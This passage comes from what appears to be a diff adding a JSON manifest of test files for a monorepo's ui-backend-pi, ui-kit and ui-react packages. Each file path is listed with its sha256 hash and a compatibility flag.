"packages/ui-backend-pi/tests/concurrency.test.ts":{"sha256":"ef0f24226dc78c3b0f2636bfb10370fc552f9f170e56fa7916b55cbb1f67ad37","compatible":true}, + "packages/ui-backend-pi/tests/confirm-bash.test.ts":{"sha256":"5f517effde4cbeb3b6e281d0a104b28cab5b5dd1835ec77e48f617ec6550c416","compatible":true}, + "packages/ui-backend-pi/tests/direct-application-replay.test.ts":{"sha256":"9e4807a16321ded3798d166979303aa31920757b62190732603599c0f1caec64","compatible":true}, + "packages/ui-backend-pi/tests/duplicate-acquisition.test.ts":{"sha256":"e0b93be2d0224c44a824e2fe88ea9f6241a5a02dc649992b3794920267293daf","compatible":true}, + "packages/ui-backend-pi/tests/early-cancel-lifecycle.test.ts":{"sha256":"70356dfca493613437d3a01085894230153f005225281c28fb0a23859188f608","compatible":true}, + "packages/ui-backend-pi/tests/effort.test.ts":{"sha256":"79964f65c039ace29b3107b9fe7da51bcb12f4b894904ac17da840fc22e30b96","compatible":true}, + "packages/ui-backend-pi/tests/event-mapping.test.ts":{"sha256":"591ea7709db22bb8648cd12e994350d4cdad1c2f2ae79b7d38d0e1739d040a74","compatible":true}, + "packages/ui-backend-pi/tests/exec-wrapper.test.ts":{"sha256":"aff96e8ecd2cc8f2c105b3c72be224629f7861e3a9fbaf030df0f8bed7de556b","compatible":true}, + "packages/ui-backend-pi/tests/extension-inspection.test.ts":{"sha256":"d666c613088c230192a6dec381472b11dcb156e4eff358a4f80e23e9873e1155","compatible":true}, + "packages/ui-backend-pi/tests/github-tools-brief.test.ts":{"sha256":"1d441d5df9b799a462eadc652709fb2e7a7c41f30470ef148dfaf15735dcc038","compatible":true}, + "packages/ui-backend-pi/tests/github-tools.test.ts":{"sha256":"d303594294fe7e46db980379cf252ebfad7c85ff0fbf773558ae781e0682c36e","compatible":true}, + "packages/ui-backend-pi/tests/grant-surface-posture.test.ts":{"sha256":"a73132b456f8debbc28fe7be3606e64cfb28748966f332513fd7ab095d455dec","compatible":true}, + "packages/ui-backend-pi/tests/helpers.test.ts":{"sha256":"1e3aa29ded928139da9059ab6531519a38b2865e9831cd633303347b9fe42ab7","compatible":true}, + "packages/ui-backend-pi/tests/history.test.ts":{"sha256":"fe41b544c1318dbb699c1b8086401bd46e402fd24f674b8334f43c5a3a796c07","compatible":true}, + "packages/ui-backend-pi/tests/host-relay.test.ts":{"sha256":"54c2dbb07d6eedd5f1e74fcde0969561ec625dc2af75f876791fcb55ded228d5","compatible":true}, + "packages/ui-backend-pi/tests/index-query-adapters.test.ts":{"sha256":"f87277a3f5f0d372cec23d2a81a52cd9a885a59be73cacd90bc61686bd763646","compatible":true}, + "packages/ui-backend-pi/tests/index-query-tools.test.ts":{"sha256":"837819af990802d241a1165898410497c1f87d0a786a245f4401a7e35e65dbac","compatible":true}, + "packages/ui-backend-pi/tests/maintenance-module-plumbing.test.ts":{"sha256":"0705c8b697c03234db8cd81969b8d1a2deb5ba6159f2377307959299fa19043f","compatible":true}, + "packages/ui-backend-pi/tests/module.test.ts":{"sha256":"e4078a0e80aac178ec714df3404a584de11da953ce81fe7ceb8e559f3772daac","compatible":true}, + "packages/ui-backend-pi/tests/native-acquisition-cancellation.test.ts":{"sha256":"daebd5ca0fb7065715d002e0938d21ab00974877c3c0d3b63349f986c58bf653","compatible":true}, + "packages/ui-backend-pi/tests/native-history-removal.test.ts":{"sha256":"2c9c61ece2598d41c1c3557448ca191593c851e9b0573699d9a07478319b37a1","compatible":true}, + "packages/ui-backend-pi/tests/native-host-auth-qualification.test.ts":{"sha256":"da616b821a5e72966dd37c1b95e7543963c79f81b1dc9347638bb427a70b99c9","compatible":false}, + "packages/ui-backend-pi/tests/native-session-versions.test.ts":{"sha256":"951f3c389eb8c919daa58c3bbbb44e4a6a58687906d2fc2dffb6d90ddda19c18","compatible":true}, + "packages/ui-backend-pi/tests/outward-actions.test.ts":{"sha256":"86f0aa65ce236769f64ea6da39992916e6bbedcb66582a8136c2cec60eca755e","compatible":true}, + "packages/ui-backend-pi/tests/overview-discovery.test.ts":{"sha256":"1181b8918d9087a1d0bc81123d99cfa54714884c8bf5dff1923e8d5fbcde2e97","compatible":true}, + "packages/ui-backend-pi/tests/policy-commands.test.ts":{"sha256":"0ba9dae3f2c72a3c4c9e9caec7ebee88220930a362de562150295a7a4e7b90b1","compatible":true}, + "packages/ui-backend-pi/tests/policy-membership.test.ts":{"sha256":"8688e74aa107e65ef01d9d3b5f205e05523f67d8610764baafc982f9e593a5be","compatible":true}, + "packages/ui-backend-pi/tests/provider-history-apify.test.ts":{"sha256":"ab1727f6aaf327816de34392efc8076fbfa33ebb0fceb9fa897f382e7416120e","compatible":true}, + "packages/ui-backend-pi/tests/provider-history.test.ts":{"sha256":"a3a706d56862c25aabb6e91684b9a4a078c3ee6dde79345aa9798b6a53276577","compatible":true}, + "packages/ui-backend-pi/tests/read-attachment.test.ts":{"sha256":"4a1be9de8bd1bdf5c16367f5017df6811a61ce24fc771ae896830d695b82e8d1","compatible":true}, + "packages/ui-backend-pi/tests/read-base-worker.test.ts":{"sha256":"22991f2e815898b0d8f449b059bf60e4c59b9dc7c90a4f280025fb05e91a4b26","compatible":true}, + "packages/ui-backend-pi/tests/replayed-user-text.test.ts":{"sha256":"0c420c7571ec78f5c233254d21d2e10f36b8e823aeae90a8586f6ff3f7190128","compatible":true}, + "packages/ui-backend-pi/tests/rtk-warning.test.ts":{"sha256":"0ce25913562a461d46532617e64d414be7b5e2a115a1b46b37351a5168725a80","compatible":true}, + "packages/ui-backend-pi/tests/session-prompt.test.ts":{"sha256":"a51279566aa2dbecf3499eb1deb36fa46dcc554414c448dc42c2e45b0dba0d35","compatible":true}, + "packages/ui-backend-pi/tests/session-storage.test.ts":{"sha256":"330ebd4611bf6e3496a47e1543db6a0b990746940e46f5b2937f871e18cf8e93","compatible":true}, + "packages/ui-backend-pi/tests/stable-roster-runtime.test.ts":{"sha256":"18646a2e68e02e3e47425032db61666a5e64113400f5f963aeabe4223a40a604","compatible":true}, + "packages/ui-backend-pi/tests/stable-roster.test.ts":{"sha256":"aed15ae92ca2b25fa2530a0155b4ba289cba96efadfbeb86ff905277a34ce551","compatible":true}, + "packages/ui-backend-pi/tests/startup-runtime.test.ts":{"sha256":"18213abd9aca5231434879a7ccbd49545a7651498960ce5b2d36b5dbc6a25675","compatible":true}, + "packages/ui-backend-pi/tests/startup-timing.test.ts":{"sha256":"bdea2a04529b94be934be386636d5a5eec38bfba40f1206748226cc32e0c07da","compatible":true}, + "packages/ui-backend-pi/tests/subprocess-env.test.ts":{"sha256":"68a5ea9f7f02252aec6f902cd9c6a107972b133759dbec5b30500bf163fdf03b","compatible":true}, + "packages/ui-backend-pi/tests/tool-execution-evidence.test.ts":{"sha256":"deef8604b7580bb167229926f52e08ea43785528056bfaf6e2b3bf34c37d1442","compatible":true}, + "packages/ui-backend-pi/tests/tool-factories.test.ts":{"sha256":"7ae44ac332bb6a0050b97ac89f46945318e46391f3c72b3395abd5e3c8590690","compatible":true}, + "packages/ui-backend-pi/tests/tool-roster-snapshot.test.ts":{"sha256":"97afa0a89a5f4c784fe181b1864657bb826698bd9b3bc7f010c0c2c153b898cf","compatible":true}, + "packages/ui-backend-pi/tests/tools-permission.test.ts":{"sha256":"d786d95056917ef2dc91aa31457d8e0e7df2c72aed97dcfce190db0594ee6191","compatible":true}, + "packages/ui-backend-pi/tests/transcript-prefix.test.ts":{"sha256":"450d7ae29e3e25163081e155ad42a183242f1e9d2359c360f5d6514f926c8b05","compatible":true}, + "packages/ui-backend-pi/tests/update-archive-relevance.test.ts":{"sha256":"d0e5d59b024800d61c57a38c4c6c7df9ba46ed282f62b3aff22c7066c899cdd6","compatible":true}, + "packages/ui-backend-pi/tests/version-requirements.test.ts":{"sha256":"aee47cb280b040f572c08937cae9db6846420b20f5a7101ba0f454079214e019","compatible":true}, + "packages/ui-backend-pi/tests/web-credential-guard.test.ts":{"sha256":"477dfe71e5b6a0316fa1cfb2c540c7240d9a561eadb9f88ecfdcc162ad90a9d4","compatible":true}, + "packages/ui-backend-pi/tests/web-executor-egress.test.ts":{"sha256":"44a762ae90ffc4e0732b6d6fd693d823fc31728474061456290e202a60cbc575","compatible":true}, + "packages/ui-backend-pi/tests/web-executor.test.ts":{"sha256":"40cb4006845b3a3e76b7cffdede93cd0b739446353a02912000e40375a667fee","compatible":true}, + "packages/ui-backend-pi/tests/web-model-scope.test.ts":{"sha256":"99bf4c100095e8ef18f8413d1bb91797d315813c4218d642edcf7a0edc006f24","compatible":true}, + "packages/ui-backend-pi/tests/web-tools.test.ts":{"sha256":"21975bf90fbebec7cd2c9c61cc2a8daab11c9c57828654e8feafcb38f7618b57","compatible":true}, + "packages/ui-backend-pi/tests/worker-cli-path.test.ts":{"sha256":"21db974f444b9037f3b31f0d24da02e160b3f414d44f9688c929fb50f2c86f3c","compatible":true}, + "packages/ui-backend-pi/tests/worker-host-exec.test.ts":{"sha256":"c912cb50c2d8da57746d0363b1fb02516b0b42f918e77a6f476f06dbdbb4c532","compatible":true}, + "packages/ui-backend-pi/tests/worker-rpc.test.ts":{"sha256":"2a4705c5a7cbb9a2c723e1e1be75328b1d4f774667fc2d263a80389ef0747c17","compatible":true}, + "packages/ui-backend-pi/tests/worker-session-units.test.ts":{"sha256":"c9ce31fcbb22ed07625a2e58248de721d945c0e4c98b34a5f4e7edc1724fb065","compatible":true}, + "packages/ui-backend-pi/tests/worker-session.test.ts":{"sha256":"1452929ddedf4ee6e5e46c7170efaddb838f11ff4254df5d82357297d98570b7","compatible":true}, + "packages/ui-backend-pi/tests/worker-snapshot.test.ts":{"sha256":"55012db4a1535e24bda32fff4f2c5c38a52de36f0dd5ffd4505a28d7440eef3b","compatible":true}, + "packages/ui-backend-pi/tests/worker-stdio-release.test.ts":{"sha256":"031579efa095e12bbf6651368aa1d4925736d82e93fa625d438644421a31aeb9","compatible":true}, + "packages/ui-kit/tests/agentorbit-placement.test.tsx":{"sha256":"302af6222e54c2bee202eb528d815c6f967bb7d11b66b6496890826a5f97db4b","compatible":true}, + "packages/ui-kit/tests/agentorbit-state.test.tsx":{"sha256":"de915c9f492e3763009e8bbe816a0db0d49c82e88e2399d7d578e1bc1053e7e4","compatible":true}, + "packages/ui-kit/tests/brand-assets.test.ts":{"sha256":"470f19d8667bc1b9b57f77ed33b2f84dd965c0b25543119f0467ed2624bd7c3c","compatible":true}, + "packages/ui-kit/tests/brand-mark.test.tsx":{"sha256":"74310727b6c29868263f21dc78abf09ce5e7698ad5d1891a5ac399e240bde25a","compatible":true}, + "packages/ui-kit/tests/brand-rasters.test.ts":{"sha256":"a15035a8f6307a7d17bb23b9e45abe7fc9c7e8b64ccf70dceca2bed400af864e","compatible":true}, + "packages/ui-kit/tests/canvas-palette.test.ts":{"sha256":"7b1a4e2c41285f84fd7474f269259990fb76956a791a1c815e8c7bbbaebea451","compatible":true}, + "packages/ui-kit/tests/composer-attach-tip.test.tsx":{"sha256":"f3c232c8aea31324156d4daebece6f6b42871bc78db9bdb5a18310d4c4b2540d","compatible":true}, + "packages/ui-kit/tests/composer-mic-control-toggle.test.tsx":{"sha256":"1d51ef476043eea9ad2e58671a8a7657460e599f9ebd1966676ca6978393516d","compatible":true}, + "packages/ui-kit/tests/composer-mic-control.test.tsx":{"sha256":"b537fdbb30d6d727b46dcc2e707fff7fee9271ab14c619dc7fdf2643f47c9ec3","compatible":true}, + "packages/ui-kit/tests/composer-mic.test.tsx":{"sha256":"83fdf8637d26734a6a5837380c6f8792a250538a84ae65cdce1cbe02f51515a7","compatible":true}, + "packages/ui-kit/tests/composer-sizing.test.tsx":{"sha256":"d63c47db0dd1d4fbce2a7a0feec909f64fa27ea1dedc12a492015a324a7e939c","compatible":true}, + "packages/ui-kit/tests/composer-status.test.tsx":{"sha256":"a8735bba840272755d8aa8bc360e299ec7e14de4d324f385f4a25dd5a6bc3837","compatible":true}, + "packages/ui-kit/tests/contrast-colors.test.ts":{"sha256":"c3f5429b107df227bff4fc823646d80de7cbb30c9b9857c3a5878370c53ca029","compatible":true}, + "packages/ui-kit/tests/contrast.test.ts":{"sha256":"1d71a8e7defe68f0c7b82d0866824d1d2c8f4812d36fb2b695675306ad1ab287","compatible":true}, + "packages/ui-kit/tests/empty-state-meta.test.tsx":{"sha256":"31f2246e079bdf0fc1b886094e9814734ca0578bfa6146dbc745dee3db61467e","compatible":true}, + "packages/ui-kit/tests/fixtures.test.ts":{"sha256":"a22720f85df4ae2f7a4aec4321a34e29b442cd9a79336abff3a561b0f3225abe","compatible":true}, + "packages/ui-kit/tests/geo-closure-probes.test.tsx":{"sha256":"a0571c0b1a05a24db982868553bce737208e80bcd89615e380d6065ba09801e0","compatible":true}, + "packages/ui-kit/tests/geo-fixtures.test.ts":{"sha256":"31e8dba98b4ab2590f2774d127d57004c2d46213bbeb52da1bc454f279b90afa","compatible":true}, + "packages/ui-kit/tests/ghost-text.test.tsx":{"sha256":"73c2c7a1438cf845c58d251c8a071d694efa5246d983da46a8e8844828e71075","compatible":true}, + "packages/ui-kit/tests/github-draft-body.test.tsx":{"sha256":"c47458562b270081d131608009b9b5b37ccc2fffb0572e8cb6f81b3625adaae4","compatible":true}, + "packages/ui-kit/tests/github-neutral-states.test.tsx":{"sha256":"2e5ca9cbe2b35b764db5f92b7ca33705929596202c4d87151ae6d825849c60be","compatible":true}, + "packages/ui-kit/tests/hygiene-card-copy.test.tsx":{"sha256":"55d17e507beeaa76ac2d85e7cd889500d39423f9b7ab0fa7a89e5bf17268749b","compatible":true}, + "packages/ui-kit/tests/icon-map.test.ts":{"sha256":"bcb9a1736d8b1109793e00207c5da35264103ac4b9c96b17c9626519e018a08e","compatible":true}, + "packages/ui-kit/tests/inert-outside.test.ts":{"sha256":"c203ab3b6c09a2b35b7c5ec3d0925085859a88284dea70092cb0eea2d16716e3","compatible":true}, + "packages/ui-kit/tests/layers.test.ts":{"sha256":"12735b42bf82bb983c6c6adac1e1358acf4e11a413784e6a886b28fb8c0e7b08","compatible":true}, + "packages/ui-kit/tests/library.test.ts":{"sha256":"87e49ee5b63c06e0b34ec382851142b844b83fd82a41b190f9448aad2ebf326c","compatible":true}, + "packages/ui-kit/tests/light-theme.test.ts":{"sha256":"f539ced1a5a8ee5f3b87ab8e1e2e3ab09dc5e47b42ebc838a76b9f40f352f932","compatible":true}, + "packages/ui-kit/tests/link-card.test.tsx":{"sha256":"952117b567d32355268dcff17d543f43f9e4e3bbb24ad1d7286b7a5422bb141e","compatible":true}, + "packages/ui-kit/tests/links.test.ts":{"sha256":"477a5dc912eb6916c4ef966b1f9fb79aff424451b9a7e05097fe4f3f54cd11d0","compatible":true}, + "packages/ui-kit/tests/mapview-projection.test.tsx":{"sha256":"c633b96cfce6a78668fe5c913737a5138be9a9c861b288d8ad783405b41a83ac","compatible":true}, + "packages/ui-kit/tests/markup.test.tsx":{"sha256":"f7ba7e7cd1178442b8d0a502ef82f279e398575c7b66ca8b8587e02463e85826","compatible":true}, + "packages/ui-kit/tests/overlay-stack.test.ts":{"sha256":"0122ac7850f72cab7f8b324cd04248f679ae58532bbd3e8844ca9fa57b6a5842","compatible":true}, + "packages/ui-kit/tests/overlay.test.tsx":{"sha256":"0fa39b1975163ef33c4fa8055b9b75f0da73c1dc2ccadeb35d3c8e2607b57f0b","compatible":true}, + "packages/ui-kit/tests/pending-follow-ups.test.tsx":{"sha256":"09a0daca00f28cf2ab478b791a162c2fe2fe9a1230352c1b0229a9b7edae2ce0","compatible":true}, + "packages/ui-kit/tests/place-map.test.tsx":{"sha256":"4ce03d4db5f37e9f239b06a87e65425498af7c9c95932760835beeb56b9b7edb","compatible":true}, + "packages/ui-kit/tests/print-theme.test.ts":{"sha256":"56d057aaeb165b97c2cc70a5fc7b1a3c23f9c67c53fc632b1170350df2c6a037","compatible":true}, + "packages/ui-kit/tests/recording-row.test.tsx":{"sha256":"e579df2766725b307792d1008919d08c2325ca9189524e9b091ddc845028b22b","compatible":true}, + "packages/ui-kit/tests/screens-are-assembly.test.ts":{"sha256":"c7e95d441ca1c9249475e15eb777b9bb29646d6e5876c2a6b00d9b1ec64c8b7b","compatible":true}, + "packages/ui-kit/tests/session-strip.test.tsx":{"sha256":"8ce87a82fdd8a85d8d97dfa3364eb3e75894f9be2ecd1aaa86cdb6ae4a96e5ae","compatible":true}, + "packages/ui-kit/tests/spoken-turn-details.test.tsx":{"sha256":"5024fc66331014e9e554741e5b80a04b9880e860c13aa1576aa887f974bc004c","compatible":true}, + "packages/ui-kit/tests/status-indicator.test.tsx":{"sha256":"a00f4f2bb5e1d939e044addc086336e79884ef69196cacf5771742e0d47baae8","compatible":true}, + "packages/ui-kit/tests/theme-tokens.test.ts":{"sha256":"2961b028e86cc6177b86974a6689c6d1ede9b8d6c393b5ad72eb6d83306990d9","compatible":true}, + "packages/ui-kit/tests/tokens-match-theme.test.ts":{"sha256":"864e2b5daa69f4a59585ffef0ff70f3daefb99031b50e26100a923672251988b","compatible":true}, + "packages/ui-kit/tests/tone-cue-blocks.test.tsx":{"sha256":"9b1e4007616d3e36d7d57ad5b1a072313dc8eb10f6976806354120b094a98d69","compatible":true}, + "packages/ui-kit/tests/tone-cue.test.ts":{"sha256":"6101c125155ccf157eedbc02a5973896ace645fe71cb3639a0efcf2a05023961","compatible":true}, + "packages/ui-kit/tests/tracker-pills.test.tsx":{"sha256":"391e7fb01a8249b4014fafdb703c7fde1302bdd937975f25722393e12dcbd96d","compatible":true}, + "packages/ui-kit/tests/transcript-qualifiers.test.tsx":{"sha256":"796d89aea58526c966de836d4c548b2617a1592438afad10598e8867e0f4d363","compatible":true}, + "packages/ui-kit/tests/undeclared-tokens.test.ts":{"sha256":"3804cdbea789e2c758a831d407b7f56be2cb78b5f878c1bec6c55ae53792d662","compatible":true}, + "packages/ui-kit/tests/untrusted-text.test.tsx":{"sha256":"5723ec11a420eb3535b899e82080e13e8c46b6cf611153cf75b052278dae8e1c","compatible":true}, + "packages/ui-kit/tests/voice-contrast.test.ts":{"sha256":"fc10dc85cdc40f95754327fb41db76c9b1899a8230eb715d90b4961b628a6c50","compatible":true}, + "packages/ui-react/tests/activity-report.test.ts":{"sha256":"0f58491dad02f836aa93d34614b89be4ef18f02e98dda47e90a9592f5b649e26","compatible":true}, + "packages/ui-react/tests/activity-store.test.ts":{"sha256":"fc60822bcadc84d566f7e90b81b1ca757575157736de5c56da9b7b31cc3a880a","compatible":true}, + "packages/ui-react/tests/answer-delivery-runtime.test.ts":{"sha256":"26a38639ef033a10bf5c0bba11f6c106307520a19a14c9edd906d155493777d8","compatible":true}, + "packages/ui-react/tests/answer-delivery.test.ts":{"sha256":"1e1b5bf43c7a847ddac522239754ab5e19b8989c9f0be02ad26369f4942d6735","compatible":true}, + "packages/ui-react/tests/api-client-sync.test.ts":{"sha256":"91e31cc1e18070b249d86bd7fcc5d921bf77c2ed11d475bfeb61d23806d999cd","compatible":true}, + "packages/ui-react/tests/api-client.test.ts":{"sha256":"1396a4a44f07fcdbbbb4cbb0b90256dbff5aa090f08ce57ba552c8dc3be08303","compatible":true}, + "packages/ui-react/tests/api-instances.test.ts":{"sha256":"f65b78756df47f2ac4a2d932ccf0bdd5749677ad09374e2b31540f9fb2c2b92b","compatible":true}, + "packages/ui-react/tests/apify-presentation.test.ts":{"sha256":"ad11bd5e5f84075b2d00583ca3c506fb7240ca8e6fc2755cb8bfe1dcf52b7e60","compatible":true}, + "packages/ui-react/tests/approval-recovery-runtime.test.ts":{"sha256":"ba5d4368f5c52d29ab5434543ff095fd960bd377daaa638a77a5bf2e891ce356","compatible":true}, + "packages/ui-react/tests/artifact-recovery-runtime.test.ts":{"sha256":"84f3073272f5f3dba394e44552fdf207e2800adc6dd17b8f4930a6ad4271b353","compatible":true}, + "packages/ui-react/tests/artifact-recovery.test.ts":{"sha256":"891d24416442264996123a0a014dc3461348a4ce3ed34b0ae4f78e5a4feb58d3","compatible":true}, + "packages/ui-react/tests/asr-deepgram.test.ts":{"sha256":"e3658d8aa102732c9b959fca770be1fa98d3cec0cb1841cf68506102a15d1ae9","compatible":true}, + "packages/ui-react/tests/asr-gemini.test.ts":{"sha256":"ce5115fe80d7e02def48417f71c24154b05e5a3f0ff6b915295fc42b6e93bee9","compatible":true}, + "packages/ui-react/tests/association-signout-runtime.test.ts":{"sha256":"132b5fcc1b83188226e8db015c41a636fdf68637a93e8c25154f0224b22f36d4","compatible":true}, + "packages/ui-react/tests/attachment-queue.test.ts":{"sha256":"8c47072a37959bbb8e2e09d8406a990d18f98105198c0d016aeb1d6bf4481940","compatible":true}, + "packages/ui-react/tests/attachment-read-runtime.test.ts":{"sha256":"60dc222fd19388674ab3796908b704c76a8b0b1f0ae551f4e81c92a311d2e96a","compatible":true}, + "packages/ui-react/tests/attachment-reads.test.ts":{"sha256":"4983b77f587dc9d73609917cbb934661753a05a12c4ef2e16edef1200b2953cc","compatible":true}, + "packages/ui-react/tests/audio-fixtures.test.ts":{"sha256":"cda698defddc88ae817952f500ef48258369173f2c9ee673001cacd4d07a6e0a","compatible":true}, + "packages/ui-react/tests/auth-expiry-runtime.test.ts":{"sha256":"b143c8fbb88ef9978432d74e51ed0638c577c7e2661ccfafd7f68adb0c21051d","compatible":true}, + "packages/ui-react/tests/auth-lock.test.ts":{"sha256":"9630554c3a26a9b38c14caba83df71737477e1ee63ead7bdb3570e8538776055","compatible":true}, + "packages/ui-react/tests/block-card-cleanup-runtime.test.ts":{"sha256":"dbef2e01d97290327a2b97b9a869eb12853af06528f10c1965e7c72b656f260a","compatible":true}, + "packages/ui-react/tests/bound-renderers.test.ts":{"sha256":"b0c4139c14840e146eac93d86085bfd45a24b930720f85f1da14ca249d606141","compatible":true}, + "packages/ui-react/tests/browser-rejection-runtime.test.ts":{"sha256":"9c2449689227ed41e196e02dd5c6eab5efbfc5421f9c4f8f454d843b8cf0894c","compatible":true}, + "packages/ui-react/tests/chat-focus-runtime.test.ts":{"sha256":"5ac2cc22411e8e355e4b40e33e181856d1a5e134455b191a30bb3b8dbbb28310","compatible":true}, + "packages/ui-react/tests/chat-slices.test.ts":{"sha256":"2a697d7a5fb2ff5fff7fa3f3f0db9252e217ee3cf9d2ce8c577f56b1db44bfeb","compatible":true}, + "packages/ui-react/tests/chat-store-approval-recovery.test.ts":{"sha256":"86ac42c21b384f432a080e86e3994dbef8be0e971af9553ad5e5b6d169d1f852","compatible":true}, + "packages/ui-react/tests/chat-store-ask-dedup.test.ts":{"sha256":"29f16dc470f77be5f2c20eba27a11069f3ab3bd207ca472886dda77cf7b7b405","compatible":true}, + "packages/ui-react/tests/chat-store-ask-user.test.ts":{"sha256":"b716dd7e21f52f6bdde5ba5f294106bcca1f9adf68b03956c48b76f37d9c07bf","compatible":true}, + "packages/ui-react/tests/chat-store-blocks.test.ts":{"sha256":"a661605b44b98e60f1bc46615b18c03ed760c07cc4e464072fc2e7f54b808c65","compatible":true}, + "packages/ui-react/tests/chat-store-edge-cases.test.ts":{"sha256":"bd0d97250de48b1eeb40343eb4e95a91da29ae3e79263e95d93f981e47d83924","compatible":true}, + "packages/ui-react/tests/chat-store-history.test.ts":{"sha256":"41ca03045a9d16f8f1f607f80593c9aae011744a23c696b4510f5f2a26e20d7a","compatible":true}, + "packages/ui-react/tests/chat-store-typed.test.ts":{"sha256":"af8b6bdc608171540c5a38f29745de89b98c6d17509ca48baf0e87cbd276da3e","compatible":true}, + "packages/ui-react/tests/chat-store.test.ts":{"sha256":"39c6d8ef7ffc0ee82194dc486040f6e9e00d147edc9caa94d1c3cb5faab775e8","compatible":true}, + "packages/ui-react/tests/client-environment.test.ts":{"sha256":"28e3638e2950a9c83c22aea55e42adfd73185232f60374e2d1745fbf29a65cce","compatible":true}, + "packages/ui-react/tests/client-turn-clock.test.ts":{"sha256":"979697a8ca3ac9573a571554cdd607959399e44296e4fb1bc0fb7b8ecfd018f2","compatible":true}, + "packages/ui-react/tests/connection-continuity-runtime.test.ts":{"sha256":"122b3126e7537a77a0fb3e7d5480ec1b08fdc22f3bbed3d3b40c9fcc23e8df95","compatible":true}, + "packages/ui-react/tests/connection-refusals.test.ts":{"sha256":"872fba61dd08433e29ac51ccbdc89cd6cf40729ef78a1e22855c23db1eadde6d","compatible":true}, + "packages/ui-react/tests/connection-state.test.ts":{"sha256":"8ce249f4b6ddd87a1063f26cdfbbfba201b7d95b0acab49c0fa140db55ad302f","compatible":true}, + "packages/ui-react/tests/connection-store.test.ts":{"sha256":"1c9e6510c14f178abdc62d625327079ac590854ca254b6a87b21d71ed69dc385","compatible":true}, + "packages/ui-react/tests/content-renderer-bundling.test.ts":{"sha256":"136d0d781ace975123429a087e3adbfa3b9b8fa8820ea7c929a30684018b8903","compatible":true}, + "packages/ui-react/tests/content-renderer-share.test.ts":{"sha256":"9451cbc2956dc36edf076dd6d339c91ee188728c45be5ea3fa57e3c15d33ee0d","compatible":true}, + "packages/ui-react/tests/conversation-recovery.test.ts":{"sha256":"848ad87f3980dd6be7bf321dee9590f3818255dc763c789924dc969c7bc610bc","compatible":true}, + "packages/ui-react/tests/copy-button-css.test.ts":{"sha256":"20ffd791ce9d736eeb9849407c0e93a94e2228db8ffa7a7e1cb904258f1cc7f9","compatible":true}, + "packages/ui-react/tests/delta-batching.test.ts":{"sha256":"73e3d929b2f06bee63a37a4b8e392b7461892d77d0deaa9641e4ca2d90f7f161","compatible":true}, + "packages/ui-react/tests/destination-press.test.tsx":{"sha256":"bd947625427d089f5fa9134bdb8916d5e0a271d8ccb6ad713db0c9e39f48190d","compatible":true}, + "packages/ui-react/tests/dialogue-lifetime.test.ts":{"sha256":"d36b2af9a67f0811a0b6c697cda4cd2cde5c19e356137d8b6bdf4f3479085023","compatible":true}, + "packages/ui-react/tests/dictation-selection-runtime.test.ts":{"sha256":"94dce6230fd0202fdfeff0c80c261f1490488cf40b87fe4add8f54d3a52276de","compatible":true}, + "packages/ui-react/tests/diff.test.ts":{"sha256":"8ab9b07a16d6e9f8b7a3653d027054da38a42afb05091c76daf787c36461588b","compatible":true}, + "packages/ui-react/tests/digest-summary-actions.test.tsx":{"sha256":"3747cc8bf10fa62f20f9618594df4ac7fa8fad6efb89a31f853b78552f7f232d","compatible":true}, + "packages/ui-react/tests/discovery-bands.test.ts":{"sha256":"7e5c5d21956fcb915a26ddbe5eeb9bf3008da91deb78cda5a3b427cbfb2039a9","compatible":true}, + "packages/ui-react/tests/discovery-expansion.test.ts":{"sha256":"ea7d1c3e9a19fd84fb1f615f7cc0c2c12fe690a7071f5afd74a169e0b0f2bdec","compatible":true}, + "packages/ui-react/tests/discovery-notice.test.ts":{"sha256":"05df44f6322674654498cd6be20a100dc10e40b06829ea17133d44430c43d633","compatible":true}, + "packages/ui-react/tests/discovery-query-bounds.test.ts":{"sha256":"bdadb576da06219ff9245e31964a9608137aa07ec204d5d6d84805181e749fa5","compatible":true}, + "packages/ui-react/tests/draft-client.test.ts":{"sha256":"f7b4740cec5d43b017eb80aa0418a503a0635d5b0cb5fa882789a3518327634d","compatible":true}, + "packages/ui-react/tests/draft-files.test.ts":{"sha256":"b77d6fd7abe0f9aea1ae31e8eca1b68d93073da403b081ac87d5748553e70a3c","compatible":true}, + "packages/ui-react/tests/draft-indicator.test.ts":{"sha256":"50ac41e08a3441e8cacbe8ebbd2f406dc4bbf2a260840f1fb044a5eb300a113a","compatible":true}, + "packages/ui-react/tests/draft-runtime.test.ts":{"sha256":"8187b580bf539684e79c68ffe2622ac6a1883c6696b9722beb6ba41b73a0afa3","compatible":true}, + "packages/ui-react/tests/draft-snapshots.test.ts":{"sha256":"19c1c01fecb2db6b574c5a8ff6c2de01b3d150d47105d3ccac8daff49f9a0ac4","compatible":true}, + "packages/ui-react/tests/draft-store.test.ts":{"sha256":"10cb2b95217b1abb4df8272381153b7cde021adcc90f9ff83bbbf021639a52bc","compatible":true}, + "packages/ui-react/tests/draft-tracks.test.ts":{"sha256":"69ad6d00bc401437069172192c3f70ea30b0e4b7764be58513657fa3d6e48a4f","compatible":true}, + "packages/ui-react/tests/encoded-duration.test.ts":{"sha256":"4e7e76054871e616732d204897aee40c7a74b9b2eba672a29d0bfa748ac46dc6","compatible":true}, + "packages/ui-react/tests/ended-question-runtime.test.ts":{"sha256":"93fe48fd3da3c109ae181251afc230d608817d3fce30677cfe8499f2bef1febb","compatible":true}, + "packages/ui-react/tests/expired-scratch-links.test.tsx":{"sha256":"bf970d61f120ffacb7de1b8d018a60236b85d6a0bbcf45ab8bc5cfb01bb27f15","compatible":true}, + "packages/ui-react/tests/external-speech-conformance.test.ts":{"sha256":"843acbdf83161330f071ed366d0c4d41f09bc532b2585f0cd6522bce8e028691","compatible":true}, + "packages/ui-react/tests/external-speech-runtime.test.ts":{"sha256":"2109f865cc101d34cad9438a9c53df70f97adf287f39d95c03383ce01bfce401","compatible":true}, + "packages/ui-react/tests/file-link-detection.test.ts":{"sha256":"528f9dcf5a9fb727ce93ab5c20bae7d727ebcd02f83726624f5cc89d37220dba","compatible":true}, + "packages/ui-react/tests/file-request-ownership.test.ts":{"sha256":"98f4830d5e443ae907f10a52b0e6b1ccaa31e2185b9f8da02f0d8d0a3a516e8b","compatible":true}, + "packages/ui-react/tests/file-viewer-binary-fallback.test.tsx":{"sha256":"25faf86008bb43949708b11fb0e75a93f652592002d0597e9a4265ae07111fa2","compatible":true}, + "packages/ui-react/tests/file-viewer-binary.test.tsx":{"sha256":"539c07730b93809d6f6394d6441035c5eca417821595cc74db568401706c20ed","compatible":true}, + "packages/ui-react/tests/follow-up-queue.test.ts":{"sha256":"c877084de654d502c2cd9487e2bef351a01d4ea168076a7fcf7ab029536b7ad5","compatible":true}, + 